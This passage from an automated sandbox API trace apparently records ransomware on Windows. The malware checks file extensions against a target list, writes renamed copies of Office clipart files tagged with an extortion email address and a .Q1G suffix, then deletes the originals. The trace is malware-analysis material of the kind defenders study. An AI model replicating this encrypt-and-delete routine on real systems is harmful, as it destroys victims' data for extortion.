Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.241] lstrlenW (lpString=".jpg") returned 4 [0239.241] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0239.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.241] lstrlenW (lpString=".doc") returned 4 [0239.241] lstrcmpiW (lpString1=".doc", lpString2=".rll") returned -1 [0239.241] lstrlenW (lpString=".docx") returned 5 [0239.241] lstrcmpiW (lpString1=".docx", lpString2="0.rll") returned -1 [0239.241] lstrlenW (lpString=".pdf") returned 4 [0239.241] lstrcmpiW (lpString1=".pdf", lpString2=".rll") returned -1 [0239.241] lstrlenW (lpString=".xls") returned 4 [0239.242] lstrcmpiW (lpString1=".xls", lpString2=".rll") returned 1 [0239.242] lstrlenW (lpString=".xlsx") returned 5 [0239.242] lstrcmpiW (lpString1=".xlsx", lpString2="0.rll") returned -1 [0239.242] lstrlenW (lpString=".ppt") returned 4 [0239.242] lstrcmpiW (lpString1=".ppt", lpString2=".rll") returned -1 [0239.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.242] lstrlenW (lpString=".zip") returned 4 [0239.242] lstrcmpiW (lpString1=".zip", lpString2=".rll") returned 1 [0239.242] lstrlenW (lpString=".rar") returned 4 [0239.242] lstrcmpiW (lpString1=".rar", lpString2=".rll") returned -1 [0239.242] lstrlenW (lpString=".bz2") returned 4 [0239.242] lstrcmpiW (lpString1=".bz2", lpString2=".rll") returned -1 [0239.242] lstrlenW (lpString=".7z") returned 3 [0239.242] lstrcmpiW (lpString1=".7z", lpString2="rll") returned -1 [0239.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.242] lstrlenW (lpString=".dbf") returned 4 [0239.242] lstrcmpiW (lpString1=".dbf", lpString2=".rll") returned -1 [0239.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.242] lstrlenW (lpString=".1cd") returned 4 [0239.242] lstrcmpiW (lpString1=".1cd", lpString2=".rll") returned -1 [0239.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned 85 [0239.242] lstrlenW (lpString=".jpg") returned 4 [0239.242] lstrcmpiW (lpString1=".jpg", lpString2=".rll") returned -1 [0239.242] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0239.242] lstrlenW (lpString="EAST_01.MID") returned 11 [0239.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0240.431] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=6165) returned 1 [0240.431] CloseHandle (hObject=0x204) returned 1 [0240.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 0x20 [0241.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0241.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0241.893] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.893] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0241.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0242.060] GetLastError () returned 0x0 [0242.060] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x1815, lpOverlapped=0x0) returned 1 [0242.063] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x1820, lpOverlapped=0x0) returned 1 [0242.064] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.064] WriteFile (in: hFile=0x398, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0242.064] SetEndOfFile (hFile=0x398) returned 1 [0242.064] CloseHandle (hObject=0x398) returned 1 [0242.064] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.064] SetEndOfFile (hFile=0x204) returned 1 [0242.162] CloseHandle (hObject=0x204) returned 1 [0242.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\east_01.mid")) returned 1 [0242.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.163] lstrlenW (lpString=".doc") returned 4 [0242.163] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.163] lstrlenW (lpString=".docx") returned 5 [0242.163] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.163] lstrlenW (lpString=".pdf") returned 4 [0242.163] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.163] lstrlenW (lpString=".xls") returned 4 [0242.163] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.163] lstrlenW (lpString=".xlsx") returned 5 [0242.163] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.163] lstrlenW (lpString=".ppt") returned 4 [0242.163] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.163] lstrlenW (lpString=".zip") returned 4 [0242.163] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.163] lstrlenW (lpString=".rar") returned 4 [0242.163] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.163] lstrlenW (lpString=".bz2") returned 4 [0242.163] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.164] lstrlenW (lpString=".7z") returned 3 [0242.164] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.164] lstrlenW (lpString=".dbf") returned 4 [0242.164] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.164] lstrlenW (lpString=".1cd") returned 4 [0242.164] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.164] lstrlenW (lpString=".jpg") returned 4 [0242.164] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.164] lstrlenW (lpString=".doc") returned 4 [0242.164] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.164] lstrlenW (lpString=".docx") returned 5 [0242.164] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.164] lstrlenW (lpString=".pdf") returned 4 [0242.164] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.164] lstrlenW (lpString=".xls") returned 4 [0242.164] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.164] lstrlenW (lpString=".xlsx") returned 5 [0242.164] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.164] lstrlenW (lpString=".ppt") returned 4 [0242.164] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.164] lstrlenW (lpString=".zip") returned 4 [0242.164] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.164] lstrlenW (lpString=".rar") returned 4 [0242.164] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.164] lstrlenW (lpString=".bz2") returned 4 [0242.164] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.164] lstrlenW (lpString=".7z") returned 3 [0242.164] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.165] lstrlenW (lpString=".dbf") returned 4 [0242.165] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.165] lstrlenW (lpString=".1cd") returned 4 [0242.165] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EAST_01.MID") returned 62 [0242.165] lstrlenW (lpString=".jpg") returned 4 [0242.165] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.165] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.165] lstrlenW (lpString="FINCL_01.MID") returned 12 [0242.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.166] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=12981) returned 1 [0242.166] CloseHandle (hObject=0x204) returned 1 [0242.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0242.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0242.167] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.167] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.167] GetLastError () returned 0x0 [0242.167] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x32b5, lpOverlapped=0x0) returned 1 [0242.169] WriteFile (in: hFile=0x338, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x32c0, lpOverlapped=0x0) returned 1 [0242.170] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.170] WriteFile (in: hFile=0x338, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.170] SetEndOfFile (hFile=0x338) returned 1 [0242.171] CloseHandle (hObject=0x338) returned 1 [0242.171] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.171] SetEndOfFile (hFile=0x204) returned 1 [0242.173] CloseHandle (hObject=0x204) returned 1 [0242.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 1 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.174] lstrlenW (lpString=".doc") returned 4 [0242.174] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.174] lstrlenW (lpString=".docx") returned 5 [0242.174] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.174] lstrlenW (lpString=".pdf") returned 4 [0242.174] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.174] lstrlenW (lpString=".xls") returned 4 [0242.174] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.174] lstrlenW (lpString=".xlsx") returned 5 [0242.174] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.174] lstrlenW (lpString=".ppt") returned 4 [0242.174] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.174] lstrlenW (lpString=".zip") returned 4 [0242.174] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.174] lstrlenW (lpString=".rar") returned 4 [0242.174] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.174] lstrlenW (lpString=".bz2") returned 4 [0242.174] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.174] lstrlenW (lpString=".7z") returned 3 [0242.174] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.175] lstrlenW (lpString=".dbf") returned 4 [0242.175] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.175] lstrlenW (lpString=".1cd") returned 4 [0242.175] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.175] lstrlenW (lpString=".jpg") returned 4 [0242.175] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.175] lstrlenW (lpString=".doc") returned 4 [0242.175] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.175] lstrlenW (lpString=".docx") returned 5 [0242.175] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0242.175] lstrlenW (lpString=".pdf") returned 4 [0242.175] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.175] lstrlenW (lpString=".xls") returned 4 [0242.176] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.176] lstrlenW (lpString=".xlsx") returned 5 [0242.176] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0242.176] lstrlenW (lpString=".ppt") returned 4 [0242.176] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.176] lstrlenW (lpString=".zip") returned 4 [0242.176] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.176] lstrlenW (lpString=".rar") returned 4 [0242.176] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.176] lstrlenW (lpString=".bz2") returned 4 [0242.176] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.176] lstrlenW (lpString=".7z") returned 3 [0242.176] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.176] lstrlenW (lpString=".dbf") returned 4 [0242.176] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.176] lstrlenW (lpString=".1cd") returned 4 [0242.176] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned 63 [0242.176] lstrlenW (lpString=".jpg") returned 4 [0242.176] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.176] lstrcmpiW (lpString1=".MID", lpString2=".Q1G") returned -1 [0242.176] lstrlenW (lpString="FINCL_02.MID") returned 12 [0242.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.180] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=9318) returned 1 [0242.180] CloseHandle (hObject=0x338) returned 1 [0242.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 0x20 [0242.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0242.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0242.180] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.180] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0242.181] GetLastError () returned 0x0 [0242.181] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x2466, lpOverlapped=0x0) returned 1 [0242.182] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x2470, lpOverlapped=0x0) returned 1 [0242.183] ReadFile (in: hFile=0x338, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0242.183] WriteFile (in: hFile=0x390, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.183] SetEndOfFile (hFile=0x390) returned 1 [0242.183] CloseHandle (hObject=0x390) returned 1 [0242.184] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0242.184] SetEndOfFile (hFile=0x338) returned 1 [0242.187] CloseHandle (hObject=0x338) returned 1 [0242.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0242.191] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid")) returned 1 [0242.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.191] lstrlenW (lpString=".doc") returned 4 [0242.191] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.191] lstrlenW (lpString=".docx") returned 5 [0242.191] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0242.191] lstrlenW (lpString=".pdf") returned 4 [0242.192] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.192] lstrlenW (lpString=".xls") returned 4 [0242.192] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.192] lstrlenW (lpString=".xlsx") returned 5 [0242.192] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0242.192] lstrlenW (lpString=".ppt") returned 4 [0242.192] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.192] lstrlenW (lpString=".zip") returned 4 [0242.192] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.192] lstrlenW (lpString=".rar") returned 4 [0242.192] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.192] lstrlenW (lpString=".bz2") returned 4 [0242.192] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.192] lstrlenW (lpString=".7z") returned 3 [0242.192] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.192] lstrlenW (lpString=".dbf") returned 4 [0242.192] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.192] lstrlenW (lpString=".1cd") returned 4 [0242.192] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.192] lstrlenW (lpString=".jpg") returned 4 [0242.192] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned 63 [0242.192] lstrlenW (lpString=".doc") returned 4 [0242.192] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.192] lstrlenW (lpString=".docx") returned 5 [0242.192] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0242.193] lstrlenW (lpString=".pdf") returned 4 [0242.193] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.193] lstrlenW (lpString=".xls") returned 4 [0242.193] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.193] lstrlenW (lpString=".xlsx") returned 5 [0242.193] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0242.193] lstrlenW 